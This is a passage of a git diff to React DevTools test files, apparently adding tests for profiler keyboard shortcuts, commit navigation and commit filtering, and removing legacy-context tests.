     utils.act(() => dispatch({type: 'SELECT_ELEMENT_AT_INDEX', payload: 0}));
 
     // Verify that the initial Profiler root selection is maintained.
-    expect(selectedElementID).toBe(otherID);
+    expect(inspectedElementID).toBe(otherID);
     expect(context).not.toBeNull();
     expect(context.rootID).toBe(store.getRootIDForElement(id));
   });
@@ -553,10 +559,11 @@ describe('ProfilerContext', () => {
     `);
 
     let context: Context = ((null: any): Context);
-    let selectedElementID = null;
+    let inspectedElementID = null;
     function ContextReader() {
       context = React.useContext(ProfilerContext);
-      selectedElementID = React.useContext(TreeStateContext).selectedElementID;
+      inspectedElementID =
+        React.useContext(TreeStateContext).inspectedElementID;
       return null;
     }
 
@@ -567,14 +574,447 @@ describe('ProfilerContext', () => {
         </Contexts>,
       ),
     );
-    expect(selectedElementID).toBeNull();
+    expect(inspectedElementID).toBeNull();
 
     // Select an element in the Profiler tab and verify that the selection is synced to the Components tab.
     await utils.actAsync(() => context.selectFiber(parentID, 'Parent'));
-    expect(selectedElementID).toBe(parentID);
+    expect(inspectedElementID).toBe(parentID);
 
     // Select an unmounted element and verify no Components tab selection doesn't change.
     await utils.actAsync(() => context.selectFiber(childID, 'Child'));
-    expect(selectedElementID).toBe(parentID);
+    expect(inspectedElementID).toBe(parentID);
+  });
+
+  it('should toggle profiling when the keyboard shortcut is pressed', async () => {
+    // Context providers
+    const Profiler =
+      require('react-devtools-shared/src/devtools/views/Profiler/Profiler').default;
+    const {
+      TimelineContextController,
+    } = require('react-devtools-timeline/src/TimelineContext');
+    const {
+      SettingsContextController,
+    } = require('react-devtools-shared/src/devtools/views/Settings/SettingsContext');
+    const {
+      ModalDialogContextController,
+    } = require('react-devtools-shared/src/devtools/views/ModalDialog');
+
+    // Dom component for profiling to be enabled
+    const Component = () => null;
+    utils.act(() => render(<Component />));
+
+    const profilerContainer = document.createElement('div');
+    document.body.appendChild(profilerContainer);
+
+    // Create a root for the profiler
+    const profilerRoot = ReactDOMClient.createRoot(profilerContainer);
+
+    // Render the profiler
+    utils.act(() => {
+      profilerRoot.render(
+        <Contexts>
+          <SettingsContextController browserTheme="light">
+            <ModalDialogContextController>
+              <TimelineContextController>
+                <Profiler />
+              </TimelineContextController>
+            </ModalDialogContextController>
+          </SettingsContextController>
+        </Contexts>,
+      );
+    });
+
+    // Verify that the profiler is not profiling.
+    expect(store.profilerStore.isProfilingBasedOnUserInput).toBe(false);
+
+    // Trigger the keyboard shortcut.
+    const ownerWindow = profilerContainer.ownerDocument.defaultView;
+    const isMac =
+      typeof navigator !== 'undefined' &&
+      navigator.platform.toUpperCase().indexOf('MAC') >= 0;
+
+    const keyEvent = new KeyboardEvent('keydown', {
+      key: 'e',
+      metaKey: isMac,
+      ctrlKey: !isMac,
+      bubbles: true,
+    });
+
+    // Dispatch keyboard event to toggle profiling on
+    // Try utils.actAsync with recursivelyFlush=false
+    await utils.actAsync(() => {
+      ownerWindow.dispatchEvent(keyEvent);
+    }, false);
+    expect(store.profilerStore.isProfilingBasedOnUserInput).toBe(true);
+
+    // Dispatch keyboard event to toggle profiling off
+    await utils.actAsync(() => {
+      ownerWindow.dispatchEvent(keyEvent);
+    }, false);
+    expect(store.profilerStore.isProfilingBasedOnUserInput).toBe(false);
+
+    document.body.removeChild(profilerContainer);
+  }, 20000);
+
+  it('should navigate between commits when the keyboard shortcut is pressed', async () => {
+    const Parent = () => <Child />;
+    const Child = () => null;
+
+    const container = document.createElement('div');
+    const root = ReactDOMClient.createRoot(container);
+    utils.act(() => root.render(<Parent />));
+
+    // Profile and record multiple commits
+    await utils.actAsync(() => store.profilerStore.startProfiling());
+    await utils.actAsync(() => root.render(<Parent />)); // Commit 1
+    await utils.actAsync(() => root.render(<Parent />)); // Commit 2
+    await utils.actAsync(() => root.render(<Parent />)); // Commit 3
+    await utils.actAsync(() => store.profilerStore.stopProfiling());
+
+    const Profiler =
+      require('react-devtools-shared/src/devtools/views/Profiler/Profiler').default;
+    const {
+      TimelineContextController,
+    } = require('react-devtools-timeline/src/TimelineContext');
+    const {
+      SettingsContextController,
+    } = require('react-devtools-shared/src/devtools/views/Settings/SettingsContext');
+    const {
+      ModalDialogContextController,
+    } = require('react-devtools-shared/src/devtools/views/ModalDialog');
+
+    let context: Context = ((null: any): Context);
+    function ContextReader() {
+      context = React.useContext(ProfilerContext);
+      return null;
+    }
+
+    const profilerContainer = document.createElement('div');
+    document.body.appendChild(profilerContainer);
+
+    const profilerRoot = ReactDOMClient.createRoot(profilerContainer);
+
+    await utils.actAsync(() => {
+      profilerRoot.render(
+        <Contexts>
+          <SettingsContextController browserTheme="light">
+            <ModalDialogContextController>
+              <TimelineContextController>
+                <Profiler />
+                <ContextReader />
+              </TimelineContextController>
+            </ModalDialogContextController>
+          </SettingsContextController>
+        </Contexts>,
+      );
+    });
+
+    // Verify we have profiling data with 3 commits
+    expect(context.didRecordCommits).toBe(true);
+    expect(context.profilingData).not.toBeNull();
+    const rootID = context.rootID;
+    expect(rootID).not.toBeNull();
+    const dataForRoot = context.profilingData.dataForRoots.get(rootID);
+    expect(dataForRoot.commitData.length).toBe(3);
+    // Should start at the first commit
+    expect(context.selectedCommitIndex).toBe(0);
+
+    const ownerWindow = profilerContainer.ownerDocument.defaultView;
+    const isMac =
+      typeof navigator !== 'undefined' &&
+      navigator.platform.toUpperCase().indexOf('MAC') >= 0;
+
+    // Test ArrowRight navigation (forward) with correct modifier
+    const arrowRightEvent = new KeyboardEvent('keydown', {
+      key: 'ArrowRight',
+      metaKey: isMac,
+      ctrlKey: !isMac,
+      bubbles: true,
+    });
+
+    await utils.actAsync(() => {
+      ownerWindow.dispatchEvent(arrowRightEvent);
+    }, false);
+    expect(context.selectedCommitIndex).toBe(1);
+
+    await utils.actAsync(() => {
+      ownerWindow.dispatchEvent(arrowRightEvent);
+    }, false);
+    expect(context.selectedCommitIndex).toBe(2);
+
+    // Test wrap-around (last -> first)
+    await utils.actAsync(() => {
+      ownerWindow.dispatchEvent(arrowRightEvent);
+    }, false);
+    expect(context.selectedCommitIndex).toBe(0);
+
+    // Test ArrowLeft navigation (backward) with correct modifier
+    const arrowLeftEvent = new KeyboardEvent('keydown', {
+      key: 'ArrowLeft',
+      metaKey: isMac,
+      ctrlKey: !isMac,
+      bubbles: true,
+    });
+
+    await utils.actAsync(() => {
+      ownerWindow.dispatchEvent(arrowLeftEvent);
+    }, false);
+    expect(context.selectedCommitIndex).toBe(2);
+
+    await utils.actAsync(() => {
+      ownerWindow.dispatchEvent(arrowLeftEvent);
+    }, false);
+    expect(context.selectedCommitIndex).toBe(1);
+
+    await utils.actAsync(() => {
+      ownerWindow.dispatchEvent(arrowLeftEvent);
+    }, false);
+    expect(context.selectedCommitIndex).toBe(0);
+
+    // Cleanup
+    await utils.actAsync(() => profilerRoot.unmount());
+    document.body.removeChild(profilerContainer);
+  });
+
+  it('should reset commit index when switching to a different root', async () => {
+    const Parent = () => <Child />;
+    const Child = () => null;
+
+    const containerA = document.createElement('div');
+    const containerB = document.createElement('div');
+
+    const rootA = ReactDOMClient.createRoot(containerA);
+    const rootB = ReactDOMClient.createRoot(containerB);
+
+    utils.act(() => rootA.render(<Parent />));
+    utils.act(() => rootB.render(<Parent />));
+
+    // Profile and record different numbers of commits for each root
+    // Root A: 5 commits, Root B: 2 commits
+    await utils.actAsync(() => store.profilerStore.startProfiling());
+    await utils.actAsync(() => rootA.render(<Parent />)); // Root A commit 1
+    await utils.actAsync(() => rootA.render(<Parent />)); // Root A commit 2
+    await utils.actAsync(() => rootA.render(<Parent />)); // Root A commit 3
+    await utils.actAsync(() => rootA.render(<Parent />)); // Root A commit 4
+    await utils.actAsync(() => rootA.render(<Parent />)); // Root A commit 5
+    await utils.actAsync(() => rootB.render(<Parent />)); // Root B commit 1
+    await utils.actAsync(() => rootB.render(<Parent />)); // Root B commit 2
+    await utils.actAsync(() => store.profilerStore.stopProfiling());
+
+    let context: Context = ((null: any): Context);
+    function ContextReader() {
+      context = React.useContext(ProfilerContext);
+      return null;
+    }
+
+    await utils.actAsync(() =>
+      TestRenderer.create(
+        <Contexts>
+          <ContextReader />
+        </Contexts>,
+      ),
+    );
+
+    // Verify we have profiling data for both roots
+    expect(context.didRecordCommits).toBe(true);
+    expect(context.profilingData).not.toBeNull();
+
+    const rootIDs = Array.from(context.profilingData.dataForRoots.keys());
+    expect(rootIDs.length).toBe(2);
+
+    const [rootAID, rootBID] = rootIDs;
+    const rootAData = context.profilingData.dataForRoots.get(rootAID);
+    const rootBData = context.profilingData.dataForRoots.get(rootBID);
+
+    expect(rootAData.commitData.length).toBe(5);
+    expect(rootBData.commitData.length).toBe(2);
+
+    // Select root A and navigate to commit 4 (index 3)
+    await utils.actAsync(() => context.setRootID(rootAID));
+    expect(context.rootID).toBe(rootAID);
+    expect(context.selectedCommitIndex).toBe(0);
+
+    await utils.actAsync(() => context.selectCommitIndex(3));
+    expect(context.selectedCommitIndex).toBe(3);
+
+    // Switch to root B which only has 2 commits
+    // The commit index should be reset to 0, not stay at 3 (which would be invalid)
+    await utils.actAsync(() => context.setRootID(rootBID));
+    expect(context.rootID).toBe(rootBID);
+    // Should be reset to 0 since commit 3 doesn't exist in root B
+    expect(context.selectedCommitIndex).toBe(0);
+
+    // Verify we can still navigate in root B
+    await utils.actAsync(() => context.selectCommitIndex(1));
+    expect(context.selectedCommitIndex).toBe(1);
+
+    // Switch back to root A - should reset to 0
+    await utils.actAsync(() => context.setRootID(rootAID));
+    expect(context.rootID).toBe(rootAID);
+    expect(context.selectedCommitIndex).toBe(0);
+  });
+
+  it('should handle commit selection edge cases when filtering commits', async () => {
+    const Scheduler = require('scheduler');
+
+    // Create components that do varying amounts of work to generate different commit durations
+    const Parent = ({count}) => {
+      Scheduler.unstable_advanceTime(10);
+      const items = [];
+      for (let i = 0; i < count; i++) {
+        items.push(<Child key={i} duration={i} />);
+      }
+      return <div>{items}</div>;
+    };
+    const Child = ({duration}) => {
+      Scheduler.unstable_advanceTime(duration);
+      return <span>{duration}</span>;
+    };
+
+    const container = document.createElement('div');
+    const root = ReactDOMClient.createRoot(container);
+    utils.act(() => root.render(<Parent count={1} />));
+
+    // Profile and record multiple commits with different amounts of work
+    await utils.actAsync(() => store.profilerStore.startProfiling());
+    await utils.actAsync(() => root.render(<Parent count={5} />)); // Commit 1 - 20ms
+    await utils.actAsync(() => root.render(<Parent count={20} />)); // Commit 2 - 200ms
+    await utils.actAsync(() => root.render(<Parent count={50} />)); // Commit 3 - 1235ms
+    await utils.actAsync(() => root.render(<Parent count={10} />)); // Commit 4 - 55ms
+    await utils.actAsync(() => store.profilerStore.stopProfiling());
+
+    // Context providers
+    const Profiler =
+      require('react-devtools-shared/src/devtools/views/Profiler/Profiler').default;
+    const {
+      TimelineContextController,
+    } = require('react-devtools-timeline/src/TimelineContext');
+    const {
+      SettingsContextController,
+    } = require('react-devtools-shared/src/devtools/views/Settings/SettingsContext');
+    const {
+      ModalDialogContextController,
+    } = require('react-devtools-shared/src/devtools/views/ModalDialog');
+
+    let context: Context = ((null: any): Context);
+    function ContextReader() {
+      context = React.useContext(ProfilerContext);
+      return null;
+    }
+
+    const profilerContainer = document.createElement('div');
+    document.body.appendChild(profilerContainer);
+
+    const profilerRoot = ReactDOMClient.createRoot(profilerContainer);
+
+    await utils.actAsync(() => {
+      profilerRoot.render(
+        <Contexts>
+          <SettingsContextController browserTheme="light">
+            <ModalDialogContextController>
+              <TimelineContextController>
+                <Profiler />
+                <ContextReader />
+              </TimelineContextController>
+            </ModalDialogContextController>
+          </SettingsContextController>
+        </Contexts>,
+      );
+    });
+
+    // Verify we have profiling data with 4 commits
+    expect(context.didRecordCommits).toBe(true);
+    expect(context.profilingData).not.toBeNull();
+    const rootID = context.rootID;
+    expect(rootID).not.toBeNull();
+    const dataForRoot = context.profilingData.dataForRoots.get(rootID);
+    expect(dataForRoot.commitData.length).toBe(4);
+    // Edge case 1: Should start at the first commit
+    expect(context.selectedCommitIndex).toBe(0);
+
+    const ownerWindow = profilerContainer.ownerDocument.defaultView;
+    const isMac =
+      typeof navigator !== 'undefined' &&
+      navigator.platform.toUpperCase().indexOf('MAC') >= 0;
+
+    const arrowRightEvent = new KeyboardEvent('keydown', {
+      key: 'ArrowRight',
+      metaKey: isMac,
+      ctrlKey: !isMac,
+      bubbles: true,
+    });
+
+    await utils.actAsync(() => {
+      ownerWindow.dispatchEvent(arrowRightEvent);
+    }, false);
+    expect(context.selectedCommitIndex).toBe(1);
+
+    await utils.actAsync(() => {
+      context.setIsCommitFilterEnabled(true);
+    });
+
+    // Edge case 2:  When filtering is enabled, selected commit should remain if it's still visible
+    expect(context.filteredCommitIndices.length).toBe(4);
+    expect(context.selectedCommitIndex).toBe(1);
+    expect(context.selectedFilteredCommitIndex).toBe(1);
+
+    await utils.actAsync(() => {
+      context.setMinCommitDuration(1000000);
+    });
+
+    // Edge case 3: When all commits are filtered out, selection should be null
+    expect(context.filteredCommitIndices).toEqual([]);
+    expect(context.selectedCommitIndex).toBe(null);
+    expect(context.selectedFilteredCommitIndex).toBe(null);
+
+    await utils.actAsync(() => {
+      context.setMinCommitDuration(0);
+    });
+
+    // Edge case 4: After restoring commits, first commit should be auto-selected
+    expect(context.filteredCommitIndices.length).toBe(4);
+    expect(context.selectedCommitIndex).toBe(0);
+    expect(context.selectedFilteredCommitIndex).toBe(0);
+
+    await utils.actAsync(() => {
+      ownerWindow.dispatchEvent(arrowRightEvent);
+    }, false);
+    expect(context.selectedCommitIndex).toBe(1);
+
+    await utils.actAsync(() => {
+      ownerWindow.dispatchEvent(arrowRightEvent);
+    }, false);
+    expect(context.selectedCommitIndex).toBe(2);
+
+    await utils.actAsync(() => {
+      ownerWindow.dispatchEvent(arrowRightEvent);
+    }, false);
+    expect(context.selectedCommitIndex).toBe(3);
+
+    // Filter out the currently selected commit using actual commit data
+    const commitDurations = dataForRoot.commitData.map(
+      commit => commit.duration,
+    );
+    const selectedCommitDuration = commitDurations[3];
+    const filterThreshold = selectedCommitDuration + 0.001;
+    await utils.actAsync(() => {
+      context.setMinCommitDuration(filterThreshold);
+    });
+
+    // Edge case 5: Should auto-select first available commit when current one is filtered
+    expect(context.selectedCommitIndex).not.toBe(null);
+    expect(context.selectedFilteredCommitIndex).toBe(1);
+
+    await utils.actAsync(() => {
+      context.setIsCommitFilterEnabled(false);
+    });
+
+    // Edge case 6: When filtering is disabled, selected commit should remain
+    expect(context.filteredCommitIndices.length).toBe(4);
+    expect(context.selectedCommitIndex).toBe(2);
+    expect(context.selectedFilteredCommitIndex).toBe(2);
+
+    await utils.actAsync(() => profilerRoot.unmount());
+    document.body.removeChild(profilerContainer);
   });
 });
diff --git a/packages/react-devtools-shared/src/__tests__/profilerStore-test.js b/packages/react-devtools-shared/src/__tests__/profilerStore-test.js
index cead054d3183..c8384b2fa42e 100644
--- a/packages/react-devtools-shared/src/__tests__/profilerStore-test.js
+++ b/packages/react-devtools-shared/src/__tests__/profilerStore-test.js
@@ -215,7 +215,11 @@ describe('ProfilerStore', () => {
   it('should not throw while initializing context values for Fibers within a not-yet-mounted subtree', () => {
     const promise = new Promise(resolve => {});
     const SuspendingView = () => {
-      throw promise;
+      if (React.use) {
+        React.use(promise);
+      } else {
+        throw promise;
+      }
     };
 
     const App = () => {
diff --git a/packages/react-devtools-shared/src/__tests__/profilingCache-test.js b/packages/react-devtools-shared/src/__tests__/profilingCache-test.js
index 90075ec7ea06..c17a59c2925e 100644
--- a/packages/react-devtools-shared/src/__tests__/profilingCache-test.js
+++ b/packages/react-devtools-shared/src/__tests__/profilingCache-test.js
@@ -13,7 +13,6 @@ import type Store from 'react-devtools-shared/src/devtools/store';
 import {getVersionedRenderImplementation} from './utils';
 
 describe('ProfilingCache', () => {
-  let PropTypes;
   let React;
   let ReactDOM;
   let ReactDOMClient;
@@ -34,7 +33,6 @@ describe('ProfilingCache', () => {
     store.collapseNodesByDefault = false;
     store.recordChangeDescriptions = true;
 
-    PropTypes = require('prop-types');
     React = require('react');
     ReactDOM = require('react-dom');
     ReactDOMClient = require('react-dom/client');
@@ -309,692 +307,6 @@ describe('ProfilingCache', () => {
     });
   });
 
-  // @reactVersion >= 16.9
-  // @reactVersion <= 18.2
-  it('should record changed props/state/context/hooks for React version [16.9; 18.2] with legacy context', () => {
-    let instance = null;
-
-    const ModernContext = React.createContext(0);
-
-    class LegacyContextProvider extends React.Component<any, {count: number}> {
-      static childContextTypes = {
-        count: PropTypes.number,
-      };
-      state = {count: 0};
-      getChildContext() {
-        return this.state;
-      }
-      render() {
-        instance = this;
-        return (
-          <ModernContext.Provider value={this.state.count}>
-            <React.Fragment>
-              <ModernContextConsumer />
-              <LegacyContextConsumer />
-            </React.Fragment>
-          </ModernContext.Provider>
-        );
-      }
-    }
-
-    const FunctionComponentWithHooks = ({count}) => {
-      React.useMemo(() => count, [count]);
-      return null;
-    };
-
-    class ModernContextConsumer extends React.Component<any> {
-      static contextType = ModernContext;
-      render() {
-        return <FunctionComponentWithHooks count={this.context} />;
-      }
-    }
-
-    class LegacyContextConsumer extends React.Component<any> {
-      static contextTypes = {
-        count: PropTypes.number,
-      };
-      render() {
-        return <FunctionComponentWithHooks count={this.context.count} />;
-      }
-    }
-
-    utils.act(() => store.profilerStore.startProfiling());
-    utils.act(() => render(<LegacyContextProvider />));
-    expect(instance).not.toBeNull();
-    utils.act(() => (instance: any).setState({count: 1}));
-    utils.act(() => render(<LegacyContextProvider foo={123} />));
-    utils.act(() => render(<LegacyContextProvider bar="abc" />));
-    utils.act(() => render(<LegacyContextProvider />));
-    utils.act(() => store.profilerStore.stopProfiling());
-
-    const rootID = store.roots[0];
-
-    let changeDescriptions = store.profilerStore
-      .getDataForRoot(rootID)
-      .commitData.map(commitData => commitData.changeDescriptions);
-    expect(changeDescriptions).toHaveLength(5);
-    expect(changeDescriptions[0]).toMatchInlineSnapshot(`
-      Map {
-        2 => {
-          "context": null,
-          "didHooksChange": false,
-          "isFirstMount": true,
-          "props": null,
-          "state": null,
-        },
-        4 => {
-          "context": null,
-          "didHooksChange": false,
-          "isFirstMount": true,
-          "props": null,
-          "state": null,
-        },
-        5 => {
-          "context": null,
-          "didHooksChange": false,
-          "isFirstMount": true,
-          "props": null,
-          "state": null,
-        },
-        6 => {
-          "context": null,
-          "didHooksChange": false,
-          "isFirstMount": true,
-          "props": null,
-          "state": null,
-        },
-        7 => {
-          "context": null,
-          "didHooksChange": false,
-          "isFirstMount": true,
-          "props": null,
-          "state": null,
-        },
-      }
-    `);
-    expect(changeDescriptions[1]).toMatchInlineSnapshot(`
-      Map {
-        5 => {
-          "context": null,
-          "didHooksChange": false,
-          "hooks": [],
-          "isFirstMount": false,
-          "props": [
-            "count",
-          ],
-          "state": null,
-        },
-        4 => {
-          "context": true,
-          "didHooksChange": false,
-          "hooks": null,
-          "isFirstMount": false,
-          "props": [],
-          "state": null,
-        },
-        7 => {
-          "context": null,
-          "didHooksChange": false,
-          "hooks": [],
-          "isFirstMount": false,
-          "props": [
-            "count",
-          ],
-          "state": null,
-        },
-        6 => {
-          "context": [
-            "count",
-          ],
-          "didHooksChange": false,
-          "hooks": null,
-          "isFirstMount": false,
-          "props": [],
-          "state": null,
-        },
-        2 => {
-          "context": null,
-          "didHooksChange": false,
-          "hooks": [],
-          "isFirstMount": false,
-          "props": [],
-          "state": [
-            "count",
-          ],
-        },
-      }
-    `);
-    expect(changeDescriptions[2]).toMatchInlineSnapshot(`
-      Map {
-        5 => {
-          "context": null,
-          "didHooksChange": false,
-          "hooks": [],
-          "isFirstMount": false,
-          "props": [],
-          "state": null,
-        },
-        4 => {
-          "context": false,
-          "didHooksChange": false,
-          "hooks": null,
-          "isFirstMount": false,
-          "props": [],
-          "state": null,
-        },
-        7 => {
-          "context": null,
-          "didHooksChange": false,
-          "hooks": [],
-          "isFirstMount": false,
-          "props": [],
-          "state": null,
-        },
-        6 => {
-          "context": [],
-          "didHooksChange": false,
-          "hooks": null,
-          "isFirstMount": false,
-          "props": [],
-          "state": null,
-        },
-        2 => {
-          "context": null,
-          "didHooksChange": false,
-          "hooks": [],
-          "isFirstMount": false,
-          "props": [
-            "foo",
-          ],
-          "state": [],
-        },
-      }
-    `);
-    expect(changeDescriptions[3]).toMatchInlineSnapshot(`
-      Map {
-        5 => {
-          "context": null,
-          "didHooksChange": false,
-          "hooks": [],
-          "isFirstMount": false,
-          "props": [],
-          "state": null,
-        },
-        4 => {
-          "context": false,
-          "didHooksChange": false,
-          "hooks": null,
-          "isFirstMount": false,
-          "props": [],
-          "state": null,
-        },
-        7 => {
-          "context": null,
-          "didHooksChange": false,
-          "hooks": [],
-          "isFirstMount": false,
-          "props": [],
-          "state": null,
-        },
-        6 => {
-          "context": [],
-          "didHooksChange": false,
-          "hooks": null,
-          "isFirstMount": false,
-          "props": [],
-          "state": null,
-        },
-        2 => {
-          "context": null,
-          "didHooksChange": false,
-          "hooks": [],
-          "isFirstMount": false,
-          "props": [
-            "foo",
-            "bar",
-          ],
-          "state": [],
-        },
-      }
-    `);
-    expect(changeDescriptions[4]).toMatchInlineSnapshot(`
-      Map {
-        5 => {
-          "context": null,
-          "didHooksChange": false,
-          "hooks": [],
-          "isFirstMount": false,
-          "props": [],
-          "state": null,
-        },
-        4 => {
-          "context": false,
-          "didHooksChange": false,
-          "hooks": null,
-          "isFirstMount": false,
-          "props": [],
-          "state": null,
-        },
-        7 => {
-          "context": null,
-          "didHooksChange": false,
-          "hooks": [],
-          "isFirstMount": false,
-          "props": [],
-          "state": null,
-        },
-        6 => {
-          "context": [],
-          "didHooksChange": false,
-          "hooks": null,
-          "isFirstMount": false,
-          "props": [],
-          "state": null,
-        },
-        2 => {
-          "context": null,
-          "didHooksChange": false,
-          "hooks": [],
-          "isFirstMount": false,
-          "props": [
-            "bar",
-          ],
-          "state": [],
-        },
-      }
-    `);
-
-    utils.exportImportHelper(bridge, store);
-
-    const prevChangeDescriptions = [...changeDescriptions];
-
-    changeDescriptions = store.profilerStore
-      .getDataForRoot(rootID)
-      .commitData.map(commitData => commitData.changeDescriptions);
-    expect(changeDescriptions).toHaveLength(5);
-
-    for (let commitIndex = 0; commitIndex < 5; commitIndex++) {
-      expect(changeDescriptions[commitIndex]).toEqual(
-        prevChangeDescriptions[commitIndex],
-      );
-    }
-  });
-
-  // @reactVersion > 18.2
-  // @gate !disableLegacyContext
-  it('should record changed props/state/context/hooks for React version (18.2; ∞) with legacy context enabled', () => {
-    let instance = null;
-
-    const ModernContext = React.createContext(0);
-
-    class LegacyContextProvider extends React.Component<any, {count: number}> {
-      static childContextTypes = {
-        count: PropTypes.number,
-      };
-      state = {count: 0};
-      getChildContext() {
-        return this.state;
-      }
-      render() {
-        instance = this;
-        return (
-          <ModernContext.Provider value={this.state.count}>
-            <React.Fragment>
-              <ModernContextConsumer />
-              <LegacyContextConsumer />
-            </React.Fragment>
-          </ModernContext.Provider>
-        );
-      }
-    }
-
-    const FunctionComponentWithHooks = ({count}) => {
-      React.useMemo(() => count, [count]);
-      return null;
-    };
-
-    class ModernContextConsumer extends React.Component<any> {
-      static contextType = ModernContext;
-      render() {
-        return <FunctionComponentWithHooks count={this.context} />;
-      }
-    }
-
-    class LegacyContextConsumer extends React.Component<any> {
-      static contextTypes = {
-        count: PropTypes.number,
-      };
-      render() {
-        return <FunctionComponentWithHooks count={this.context.count} />;
-      }
-    }
-
-    utils.act(() => store.profilerStore.startProfiling());
-    utils.act(() => render(<LegacyContextProvider />));
-    expect(instance).not.toBeNull();
-    utils.act(() => (instance: any).setState({count: 1}));
-    utils.act(() => render(<LegacyContextProvider foo={123} />));
-    utils.act(() => render(<LegacyContextProvider bar="abc" />));
-    utils.act(() => render(<LegacyContextProvider />));
-    utils.act(() => store.profilerStore.stopProfiling());
-
-    const rootID = store.roots[0];
-
-    let changeDescriptions = store.profilerStore
-      .getDataForRoot(rootID)
-      .commitData.map(commitData => commitData.changeDescriptions);
-    expect(changeDescriptions).toHaveLength(5);
-    expect(changeDescriptions[0]).toEqual(
-      new Map([
-        [
-          2,
-          {
-            context: null,
-            didHooksChange: false,
-            isFirstMount: true,
-            props: null,
-            state: null,
-          },
-        ],
-        [
-          4,
-          {
-            context: null,
-            didHooksChange: false,
-            isFirstMount: true,
-            props: null,
-            state: null,
-          },
-        ],
-        [
-          5,
-          {
-            context: null,
-            didHooksChange: false,
-            isFirstMount: true,
-            props: null,
-            state: null,
-          },
-        ],
-        [
-          6,
-          {
-            context: null,
-            didHooksChange: false,
-            isFirstMount: true,
-            props: null,
-            state: null,
-          },
-        ],
-        [
-          7,
-          {
-            context: null,
-            didHooksChange: false,
-            isFirstMount: true,
-            props: null,
-            state: null,
-          },
-        ],
-      ]),
-    );
-
-    expect(changeDescriptions[1]).toEqual(
-      new Map([
-        [
-          5,
-          {
-            context: null,
-            didHooksChange: false,
-            hooks: [],
-            isFirstMount: false,
-            props: ['count'],
-            state: null,
-          },
-        ],
-        [
-          4,
-          {
-            context: true,
-            didHooksChange: false,
-            hooks: null,
-            isFirstMount: false,
-            props: [],
-            state: null,
-          },
-        ],
-        [
-          7,
-          {
-            context: null,
-            didHooksChange: false,
-            hooks: [],
-            isFirstMount: false,
-            props: ['count'],
-            state: null,
-          },
-        ],
-        [
-          6,
-          {
-            context: ['count'],
-            didHooksChange: false,
-            hooks: null,
-            isFirstMount: false,
-            props: [],
-            state: null,
-          },
-        ],
-        [
-          2,
-          {
-            context: null,
-            didHooksChange: false,
-            hooks: [],
-            isFirstMount: false,
-            props: [],
-            state: ['count'],
-          },
-        ],
-      ]),
-    );
-
-    expect(changeDescriptions[2]).toEqual(
-      new Map([
-        [
-          5,
-          {
-            context: null,
-            didHooksChange: false,
-            hooks: [],
-            isFirstMount: false,
-            props: [],
-            state: null,
-          },
-        ],
-        [
-          4,
-          {
-            context: false,
-            didHooksChange: false,
-            hooks: null,
-            isFirstMount: false,
-            props: [],
-            state: null,
-          },
-        ],
-        [
-          7,
-          {
-            context: null,
-            didHooksChange: false,
-            hooks: [],
-            isFirstMount: false,
-            props: [],
-            state: null,
-          },
-        ],
-        [
-          6,
-          {
-            context: [],
-            didHooksChange: false,
-            hooks: null,
-            isFirstMount: false,
-            props: [],
-            state: null,
-          },
-        ],
-        [
-          2,
-          {
-            context: null,
-            didHooksChange: false,
-            hooks: [],
-            isFirstMount: false,
-            props: ['foo'],
-            state: [],
-          },
-        ],
-      ]),
-    );
-
-    expect(changeDescriptions[3]).toEqual(
-      new Map([
-        [
-          5,
-          {
-            context: null,
-            didHooksChange: false,
-            hooks: [],
-            isFirstMount: false,
-            props: [],
-            state: null,
-          },
-        ],
-        [
-          4,
-          {
-            context: false,
-            didHooksChange: false,
-            hooks: null,
-            isFirstMount: false,
-            props: [],
-            state: null,
-          },
-        ],
-        [
-          7,
-          {
-            context: null,
-            didHooksChange: false,
-            hooks: [],
-            isFirstMount: false,
-            props: [],
-            state: null,
-          },
-        ],
-        [
-          6,
-          {
-            context: [],
-            didHooksChange: false,
-            hooks: null,
-            isFirstMount: false,
-            props: [],
-            state: null,
-          },
-        ],
-        [
-          2,
-          {
-            context: null,
-            didHooksChange: false,
-            hooks: [],
-            isFirstMount: false,
-            props: ['foo', 'bar'],
-            state: [],
-          },
-        ],
-      ]),
-    );
-
-    expect(changeDescriptions[4]).toEqual(
-      new Map([
-        [
-          5,
-          {
-            context: null,
-            didHooksChange: false,
-            hooks: [],
-            isFirstMount: false,
-            props: [],
-            state: null,
-          },
-        ],
-        [
-          4,
-          {
-            context: false,
-            didHooksChange: false,
-            hooks: null,
-            isFirstMount: false,
-            props: [],
-            state: null,
-          },
-        ],
-        [
-          7,
-          {
-            context: null,
-            didHooksChange: false,
-            hooks: [],
-            isFirstMount: false,
-            props: [],
-            state: null,
-          },
-        ],
-        [
-          6,
-          {
-            context: [],
-            didHooksChange: false,
-            hooks: null,
-            isFirstMount: false,
-            props: [],
-            state: null,
-          },
-        ],
-        [
-          2,
-          {
-            context: null,
-            didHooksChange: false,
-            hooks: [],
-            isFirstMount: false,
-            props: ['bar'],
-            state: [],
-          },
-        ],
-      ]),
-    );
-
-    utils.exportImportHelper(bridge, store);
-
-    const prevChangeDescriptions = [...changeDescriptions];
-
-    changeDescriptions = store.profilerStore
-      .getDataForRoot(rootID)
-      .commitData.map(commitData => commitData.changeDescriptions);
-    expect(changeDescriptions).toHaveLength(5);
-
-    for (let commitIndex = 0; commitIndex < 5; commitIndex++) {
-      expect(changeDescriptions[commitIndex]).toEqual(
-        prevChangeDescriptions[commitIndex],
-      );
-    }
-  });
-
   // @reactVersion >= 18.0
   it('should properly detect changed hooks', () => {
     const Context = React.createContext(0);
@@ -1066,6 +378,12 @@ describe('ProfilingCache', () => {
       ),
     );
 
+    // Save references to the real dispatch/setState functions.
+    // inspectHooks() re-runs the component with a mock dispatcher,
+    // which would overwrite these variables with mock functions that do nothing.
+    const realDispatch = dispatch;
+    const realSetState = setState;
+
     // Second render has no changed hooks, only changed props.
     utils.act(() =>
       render(
@@ -1076,10 +394,10 @@ describe('ProfilingCache', () => {
     );
 
     // Third render has a changed reducer hook.
-    utils.act(() => dispatch({type: 'invert'}));
+    utils.act(() => realDispatch({type: 'invert'}));
 
     // Fourth render has a changed state hook.
-    utils.act(() => setState('def'));
+    utils.act(() => realSetState('def'));
 
     // Fifth render has a changed context value, but no changed hook.
     utils.act(() =>
@@ -1209,6 +527,343 @@ describe('ProfilingCache', () => {
     }
   });
 
+  // @reactVersion >= 19.0
+  it('should detect what hooks changed in a render with custom and composite hooks', () => {
+    let snapshot = 0;
+    let syncExternalStoreCallback;
+
+    function subscribe(callback) {
+      syncExternalStoreCallback = callback;
+      return () => {};
+    }
+
+    function getSnapshot() {
